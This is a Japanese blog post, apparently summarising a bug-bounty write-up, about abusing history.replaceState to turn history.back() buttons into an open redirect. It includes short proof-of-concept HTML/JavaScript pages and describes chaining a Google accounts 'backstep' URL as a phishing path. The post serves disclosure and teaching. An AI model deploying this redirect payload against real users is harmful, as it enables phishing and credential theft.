Hello there, ('ω')ノ
オープン リダイレクトを使用したフィッシングを。
脆弱性:
オープンリダイレクト
記事:
https://medium.com/@0xHyde/exploiting-history-back-3ec789c124dd
プライベートのバグ報奨金プログラムに参加しているときに、
リクエストに関する詳細とユーザを 1 ページ戻すハイパーリンクを含む
WAF エラー ページに遭遇し。
JavaScript をいくつかいじってみたところ、履歴によって制御される
戻るボタンを使用する Web アプリケーションで、
history.back() 関数またはhistory.go(-int) 関数を使用するすべてのボタンの
オープン リダイレクトとしてこのテクニックを使用することができて。
.back() またはhistory.go(-1) 関数。
ペイロードが送り返されるページであると仮定して。
Payload (index.html):
<html>
<head>
<title>Continue</title>
</head>
<body>
<a onclick=exploit() href="example_of_vuln.html">Continue...</a>
<script>
function exploit(){
history.replaceState({page: 1}, "Exploit", "index.htm");
}
</script>
</body>
</html>
脆弱なページの例 (example_of_vuln.html):
<script>alert('Going Back!');history.back()</script>
悪用後 (index.htm):
<html>
<head>
<title>Exploited</title>
</head>
<body>
<h1>Your browser history was manipulated to send you to a page you never even visited!</h1>
</body>
</html>
これが現実の脅威のシナリオにあまり当てはまらないとは思わず。
google.com には以下のページがあり、
ユーザは JavaScript 関数history.wwwwgo(-n) を使用して履歴を何回遡るかを
決定できて。
「n」はbackstepのGET パラメータで指定された整数で。
https://accounts.google.com/_/back?backstep=1
ラボ環境では、このバグをフィッシング経路として使用することができ。
次の URL をハイパーリンクとして含む Google サイト ブログに直接リンクする
ペイロードからターゲットを誘導できることがわかり。
https://accounts.google.com/_/back?backstep=2
そして最後に「Malicious Page」へ。
フローをよりわかりやすく示すには、次のようにして。
ペイロード ⇨ Google サイト ブログ ⇨ URL をクリック:
https://accounts.google.com/_/back?backstep=2 ⇨ デモ フィッシング ページ
Google のバグ報奨金プログラムを通じてこの件について Google に
レポートを提出しましたが、うまくいかず。
しかし、潜在的な攻撃シナリオを調査して開発するのはそれでも楽しく。
初期ペイロード:
脆弱なページ:
エクスプロイトが成功すると、最初の画像は /index.html であり、
ページは一度もアクセスしたことのないページ (index.htm) に
送り返されることに注意して。
Best regards, (^^ゞ